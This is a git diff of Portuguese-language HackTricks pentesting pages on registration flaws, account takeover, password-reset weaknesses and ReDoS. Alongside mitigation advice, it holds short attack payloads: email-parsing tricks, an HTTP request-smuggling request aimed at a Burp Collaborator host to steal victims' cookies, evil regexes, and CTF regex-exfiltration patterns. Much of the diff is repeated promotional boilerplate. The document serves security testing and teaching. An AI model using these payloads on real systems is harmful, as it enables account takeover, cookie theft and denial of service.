* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -25,29 +25,29 @@ Outras formas de apoiar o HackTricks:
|
||||||
* adicione algum ponto no e-mail
|
* adicione algum ponto no e-mail
|
||||||
* caracteres especiais no nome do e-mail (%00, %09, %20)
|
* caracteres especiais no nome do e-mail (%00, %09, %20)
|
||||||
* Coloque caracteres em branco após o e-mail: `test@test.com a`
|
* Coloque caracteres em branco após o e-mail: `test@test.com a`
|
||||||
* victim@gmail.com@attacker.com
|
* vítima@gmail.com@atacante.com
|
||||||
* victim@attacker.com@gmail.com
|
* vítima@atacante.com@gmail.com
|
||||||
|
|
||||||
### Enumeração de Nome de Usuário
|
### Enumeração de Usuário
|
||||||
|
|
||||||
Verifique se é possível descobrir quando um nome de usuário já foi registrado dentro da aplicação.
|
Verifique se você consegue descobrir quando um nome de usuário já foi registrado dentro da aplicação.
|
||||||
|
|
||||||
### Política de Senhas
|
### Política de Senhas
|
||||||
|
|
||||||
Ao criar um usuário, verifique a política de senhas (verifique se é possível usar senhas fracas).\
|
Ao criar um usuário, verifique a política de senhas (verifique se você pode usar senhas fracas).\
|
||||||
Nesse caso, você pode tentar forçar credenciais.
|
Nesse caso, você pode tentar forçar credenciais.
|
||||||
|
|
||||||
### Injeção de SQL
|
### Injeção de SQL
|
||||||
|
|
||||||
[**Verifique esta página**](sql-injection/#insert-statement) para aprender como tentar assumir contas ou extrair informações via **Injeções de SQL** em formulários de registro.
|
[**Verifique esta página** ](sql-injection/#insert-statement)para aprender como tentar assumir contas ou extrair informações via **Injeções de SQL** em formulários de registro.
|
||||||
|
|
||||||
### Assunção de Controle Oauth
|
### Assunções de Oauth
|
||||||
|
|
||||||
{% content-ref url="oauth-to-account-takeover.md" %}
|
{% content-ref url="oauth-to-account-takeover.md" %}
|
||||||
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
|
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Vulnerabilidades SAML
|
### Vulnerabilidades de SAML
|
||||||
|
|
||||||
{% content-ref url="saml-attacks/" %}
|
{% content-ref url="saml-attacks/" %}
|
||||||
[saml-attacks](saml-attacks/)
|
[saml-attacks](saml-attacks/)
|
||||||
|
@ -59,7 +59,7 @@ Após o registro, tente alterar o e-mail e verifique se essa alteração é vali
|
||||||
|
|
||||||
### Mais Verificações
|
### Mais Verificações
|
||||||
|
|
||||||
* Verifique se é possível usar **e-mails descartáveis**
|
* Verifique se você pode usar **e-mails descartáveis**
|
||||||
* **Senha longa** (>200) leva a **DoS**
|
* **Senha longa** (>200) leva a **DoS**
|
||||||
* **Verifique limites de taxa na criação de contas**
|
* **Verifique limites de taxa na criação de contas**
|
||||||
* Use username@**burp\_collab**.net e analise o **callback**
|
* Use username@**burp\_collab**.net e analise o **callback**
|
||||||
|
@ -125,7 +125,7 @@ Tente determinar se o token expira ou se é sempre o mesmo, em alguns casos, o a
|
||||||
|
|
||||||
### Vazamento de Token de Redefinição de Senha <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
### Vazamento de Token de Redefinição de Senha <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||||
|
|
||||||
1. Inicie uma solicitação de redefinição de senha usando a API/UI para um e-mail específico, por exemplo: test@mail.com
|
1. Acione uma solicitação de redefinição de senha usando a API/UI para um e-mail específico, por exemplo: test@mail.com
|
||||||
2. Inspecione a resposta do servidor e verifique o `resetToken`
|
2. Inspecione a resposta do servidor e verifique o `resetToken`
|
||||||
3. Em seguida, use o token em uma URL como `https://exemplo.com/v3/user/password/reset?resetToken=[O_RESET_TOKEN]&email=[O_EMAIL]`
|
3. Em seguida, use o token em uma URL como `https://exemplo.com/v3/user/password/reset?resetToken=[O_RESET_TOKEN]&email=[O_EMAIL]`
|
||||||
|
|
||||||
|
@ -149,9 +149,9 @@ Veja: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||||
|
|
||||||
1. Use o **smuggler** para detectar o tipo de HTTP Request Smuggling (CL, TE, CL.TE)\
|
1. Use o **smuggler** para detectar o tipo de HTTP Request Smuggling (CL, TE, CL.TE)\
|
||||||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||||||
2. Crie uma requisição que sobrescreverá o `POST / HTTP/1.1` com os seguintes dados:\
|
2. Crie uma solicitação que sobrescreverá o `POST / HTTP/1.1` com os seguintes dados:\
|
||||||
`GET http://algo.burpcollaborator.net HTTP/1.1 X:` com o objetivo de redirecionar os alvos para o burpcollab e roubar seus cookies\
|
`GET http://algo.burpcollaborator.net HTTP/1.1 X:` com o objetivo de redirecionar os alvos para burpcollab e roubar seus cookies\
|
||||||
3. A requisição final pode se parecer com o seguinte:
|
3. A solicitação final pode se parecer com o seguinte:
|
||||||
```
|
```
|
||||||
GET / HTTP/1.1
|
GET / HTTP/1.1
|
||||||
Transfer-Encoding: chunked
|
Transfer-Encoding: chunked
|
||||||
|
@ -163,16 +163,16 @@ Content-Length: 83
|
||||||
GET http://something.burpcollaborator.net HTTP/1.1
|
GET http://something.burpcollaborator.net HTTP/1.1
|
||||||
X: X
|
X: X
|
||||||
```
|
```
|
||||||
### Relatórios do Hackerone explorando esse bug\
|
Hackerone relata a exploração desse bug\
|
||||||
* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
||||||
* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
||||||
|
|
||||||
### Assumir Conta via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
### Assunção de Conta via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||||
|
|
||||||
1. Criar um payload para o CSRF, por exemplo: "Formulário HTML com envio automático para alteração de senha"
|
1. Criar um payload para o CSRF, por exemplo: "Formulário HTML com envio automático para alteração de senha"
|
||||||
2. Enviar o payload
|
2. Enviar o payload
|
||||||
|
|
||||||
### Assumir Conta via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
### Assunção de Conta via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||||
|
|
||||||
O Token JSON Web pode ser usado para autenticar um usuário.
|
O Token JSON Web pode ser usado para autenticar um usuário.
|
||||||
|
|
||||||
|
@ -191,12 +191,12 @@ O Token JSON Web pode ser usado para autenticar um usuário.
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,14 +9,14 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
# Denial of Service de Expressão Regular (ReDoS)
|
# Denial of Service de Expressão Regular (ReDoS)
|
||||||
|
|
||||||
Um **Denial of Service de Expressão Regular (ReDoS)** acontece quando alguém se aproveita de vulnerabilidades na forma como as expressões regulares (uma maneira de pesquisar e combinar padrões em texto) funcionam. Às vezes, quando as expressões regulares são usadas, elas podem se tornar muito lentas, especialmente se o pedaço de texto com o qual estão trabalhando fica maior. Essa lentidão pode se tornar tão ruim que cresce muito rapidamente mesmo com pequenos aumentos no tamanho do texto. Os atacantes podem usar esse problema para fazer um programa que usa expressões regulares parar de funcionar corretamente por um longo período de tempo.
|
Um **Denial of Service de Expressão Regular (ReDoS)** acontece quando alguém se aproveita das fraquezas de como as expressões regulares (uma maneira de pesquisar e combinar padrões em texto) funcionam. Às vezes, quando as expressões regulares são usadas, elas podem se tornar muito lentas, especialmente se o pedaço de texto com o qual estão trabalhando fica maior. Essa lentidão pode se tornar tão ruim que cresce muito rapidamente com pequenos aumentos no tamanho do texto. Os atacantes podem usar esse problema para fazer um programa que usa expressões regulares parar de funcionar corretamente por um longo período de tempo.
|
||||||
|
|
||||||
|
|
||||||
## O Algoritmo Naïve de Regex Problemático
|
## O Algoritmo Naïve de Regex Problemático
|
||||||
|
@ -26,7 +26,7 @@ Um **Denial of Service de Expressão Regular (ReDoS)** acontece quando alguém s
|
||||||
|
|
||||||
## Regexes Maliciosas <a href="#evil-regexes" id="evil-regexes"></a>
|
## Regexes Maliciosas <a href="#evil-regexes" id="evil-regexes"></a>
|
||||||
|
|
||||||
Um padrão de expressão regular malicioso é aquele que pode **ficar preso em uma entrada manipulada causando um DoS**. Os padrões de regex maliciosos geralmente contêm agrupamento com repetição e repetição ou alternância com sobreposição dentro do grupo repetido. Alguns exemplos de padrões maliciosos incluem:
|
Um padrão malicioso de expressão regular é aquele que pode **ficar preso em uma entrada manipulada causando um DoS**. Os padrões de regex maliciosos normalmente contêm agrupamento com repetição e repetição ou alternância com sobreposição dentro do grupo repetido. Alguns exemplos de padrões maliciosos incluem:
|
||||||
|
|
||||||
* (a+)+
|
* (a+)+
|
||||||
* ([a-zA-Z]+)*
|
* ([a-zA-Z]+)*
|
||||||
|
@ -36,7 +36,7 @@ Um padrão de expressão regular malicioso é aquele que pode **ficar preso em u
|
||||||
|
|
||||||
Todos esses são vulneráveis à entrada `aaaaaaaaaaaaaaaaaaaaaaaa!`.
|
Todos esses são vulneráveis à entrada `aaaaaaaaaaaaaaaaaaaaaaaa!`.
|
||||||
|
|
||||||
## Payloads ReDoS
|
## Cargas Úteis ReDoS
|
||||||
|
|
||||||
### Exfiltração de String via ReDoS
|
### Exfiltração de String via ReDoS
|
||||||
|
|
||||||
|
@ -44,10 +44,10 @@ Em um CTF (ou recompensa por bugs) talvez você **controle o Regex com o qual um
|
||||||
|
|
||||||
* Neste [**post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) você pode encontrar esta regra ReDoS: `^(?=<flag>)((.*)*)*salt$`
|
* Neste [**post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) você pode encontrar esta regra ReDoS: `^(?=<flag>)((.*)*)*salt$`
|
||||||
* Exemplo: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
* Exemplo: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
||||||
* Neste [**writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) você pode encontrar este: `<flag>(((((((.*)*)*)*)*)*)*)!`
|
* Neste [**writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) você pode encontrar esta:`<flag>(((((((.*)*)*)*)*)*)*)!`
|
||||||
* Neste [**writeup**](https://ctftime.org/writeup/25869) ele usou: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
* Neste [**writeup**](https://ctftime.org/writeup/25869) ele usou: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
||||||
|
|
||||||
### ReDoS Controlando Entrada e Regex
|
### Controle de Entrada e Regex ReDoS
|
||||||
|
|
||||||
Os seguintes são exemplos de **ReDoS** onde você **controla** tanto a **entrada** quanto o **regex**:
|
Os seguintes são exemplos de **ReDoS** onde você **controla** tanto a **entrada** quanto o **regex**:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -84,7 +84,7 @@ Regexp (a+)*$ took 723 milliseconds.
|
||||||
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
||||||
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
||||||
|
|
||||||
# Referências
|
## Referências
|
||||||
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
|
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
|
||||||
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
|
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
|
||||||
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
|
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
|
||||||
|
@ -99,7 +99,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,15 +2,15 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks Especialista em Equipe Vermelha AWS)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Especialista em Equipe Vermelha AWS do HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** repositórios [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -19,10 +19,10 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||||
|
|
||||||
**Percepções de Hacking**\
|
**Percepções de Hacking**\
|
||||||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
Envolver-se com conteúdo que explora a emoção e os desafios do hacking
|
||||||
|
|
||||||
**Notícias de Hacking em Tempo Real**\
|
**Notícias de Hacking em Tempo Real**\
|
||||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
|
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
|
||||||
|
|
||||||
**Últimos Anúncios**\
|
**Últimos Anúncios**\
|
||||||
Fique informado com os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
Fique informado com os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||||
|
@ -38,9 +38,9 @@ Fique informado com os mais novos programas de recompensas por bugs lançados e
|
||||||
- [Artigo de Vazamento de Token de Redefinição de Senha](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
- [Artigo de Vazamento de Token de Redefinição de Senha](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||||
|
|
||||||
## **Envenenamento de Redefinição de Senha**
|
## **Envenenamento de Redefinição de Senha**
|
||||||
* Atacantes podem manipular o cabeçalho Host durante solicitações de redefinição de senha para apontar o link de redefinição para um site malicioso.
|
* Os atacantes podem manipular o cabeçalho Host durante as solicitações de redefinição de senha para apontar o link de redefinição para um site malicioso.
|
||||||
* **Correção**: Use `$_SERVER['SERVER_NAME']` para construir URLs de redefinição de senha em vez de `$_SERVER['HTTP_HOST']`.
|
* **Correção**: Use `$_SERVER['SERVER_NAME']` para construir URLs de redefinição de senha em vez de `$_SERVER['HTTP_HOST']`.
|
||||||
* **Impacto**: Leva à possível tomada de conta vazando tokens de redefinição para atacantes.
|
* **Impacto**: Leva à possível tomada de conta vazando tokens de redefinição para os atacantes.
|
||||||
* **Passos de Mitigação**:
|
* **Passos de Mitigação**:
|
||||||
- Valide o cabeçalho Host em relação a uma lista branca de domínios permitidos.
|
- Valide o cabeçalho Host em relação a uma lista branca de domínios permitidos.
|
||||||
- Use métodos seguros do lado do servidor para gerar URLs absolutos.
|
- Use métodos seguros do lado do servidor para gerar URLs absolutos.
|
||||||
|
@ -48,15 +48,15 @@ Fique informado com os mais novos programas de recompensas por bugs lançados e
|
||||||
- [Artigo da Acunetix sobre Envenenamento de Redefinição de Senha](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
- [Artigo da Acunetix sobre Envenenamento de Redefinição de Senha](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||||
|
|
||||||
## **Redefinição de Senha Manipulando Parâmetro de Email**
|
## **Redefinição de Senha Manipulando Parâmetro de Email**
|
||||||
* Atacantes podem manipular a solicitação de redefinição de senha adicionando parâmetros de email adicionais para desviar o link de redefinição.
|
* Os atacantes podem manipular a solicitação de redefinição de senha adicionando parâmetros de email adicionais para desviar o link de redefinição.
|
||||||
* **Passos de Mitigação**:
|
* **Passos de Mitigação**:
|
||||||
- Analise e valide corretamente os parâmetros de email do lado do servidor.
|
- Analise e valide corretamente os parâmetros de email do lado do servidor.
|
||||||
- Use declarações preparadas ou consultas parametrizadas para evitar ataques de injeção.
|
- Use declarações preparadas ou consultas parametrizadas para evitar ataques de injeção.
|
||||||
* **Referências**:
|
* **Referências**:
|
||||||
- [Takeover de Conta Readme.com](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
- [Takeover de Conta Readme.com](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||||
|
|
||||||
## **Alterando Email e Senha de Qualquer Usuário através de Parâmetros de API**
|
## **Alteração de Email e Senha de Qualquer Usuário por Meio de Parâmetros de API**
|
||||||
* Atacantes podem modificar parâmetros de email e senha em solicitações de API para alterar credenciais da conta.
|
* Os atacantes podem modificar os parâmetros de email e senha em solicitações de API para alterar as credenciais da conta.
|
||||||
* **Passos de Mitigação**:
|
* **Passos de Mitigação**:
|
||||||
- Garanta validação rigorosa de parâmetros e verificações de autenticação.
|
- Garanta validação rigorosa de parâmetros e verificações de autenticação.
|
||||||
- Implemente registro e monitoramento robustos para detectar e responder a atividades suspeitas.
|
- Implemente registro e monitoramento robustos para detectar e responder a atividades suspeitas.
|
||||||
|
@ -74,7 +74,7 @@ Fique informado com os mais novos programas de recompensas por bugs lançados e
|
||||||
## **Descubra Como o Token de Redefinição de Senha é Gerado**
|
## **Descubra Como o Token de Redefinição de Senha é Gerado**
|
||||||
* Compreender o padrão ou método por trás da geração de tokens pode levar à previsão ou força bruta de tokens.
|
* Compreender o padrão ou método por trás da geração de tokens pode levar à previsão ou força bruta de tokens.
|
||||||
* **Passos de Mitigação**:
|
* **Passos de Mitigação**:
|
||||||
- Use métodos criptográficos fortes para geração de tokens.
|
- Use métodos criptográficos fortes para a geração de tokens.
|
||||||
- Garanta aleatoriedade e comprimento suficientes para evitar previsibilidade.
|
- Garanta aleatoriedade e comprimento suficientes para evitar previsibilidade.
|
||||||
* **Ferramentas**: Use o Burp Sequencer para analisar a aleatoriedade dos tokens.
|
* **Ferramentas**: Use o Burp Sequencer para analisar a aleatoriedade dos tokens.
|
||||||
|
|
||||||
|
@ -88,7 +88,7 @@ Fique informado com os mais novos programas de recompensas por bugs lançados e
|
||||||
* Manipulação de respostas HTTP para contornar mensagens de erro ou restrições.
|
* Manipulação de respostas HTTP para contornar mensagens de erro ou restrições.
|
||||||
* **Passos de Mitigação**:
|
* **Passos de Mitigação**:
|
||||||
- Implemente verificações do lado do servidor para garantir a integridade da resposta.
|
- Implemente verificações do lado do servidor para garantir a integridade da resposta.
|
||||||
- Use canais de comunicação seguros como HTTPS para evitar ataques de homem no meio.
|
- Use canais de comunicação seguros como HTTPS para evitar ataques de homem-no-meio.
|
||||||
* **Referência**:
|
* **Referência**:
|
||||||
- [Bug Crítico em Evento de Recompensa por Bugs ao Vivo](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
- [Bug Crítico em Evento de Recompensa por Bugs ao Vivo](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||||
|
|
||||||
|
@ -118,7 +118,7 @@ Fique informado com os mais novos programas de recompensas por bugs lançados e
|
||||||
* **Passos de Mitigação**:
|
* **Passos de Mitigação**:
|
||||||
- Defina um tempo de expiração razoável para os tokens de redefinição e aplique estritamente do lado do servidor.
|
- Defina um tempo de expiração razoável para os tokens de redefinição e aplique estritamente do lado do servidor.
|
||||||
|
|
||||||
# Referências
|
## Referências
|
||||||
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
@ -126,10 +126,10 @@ Fique informado com os mais novos programas de recompensas por bugs lançados e
|
||||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
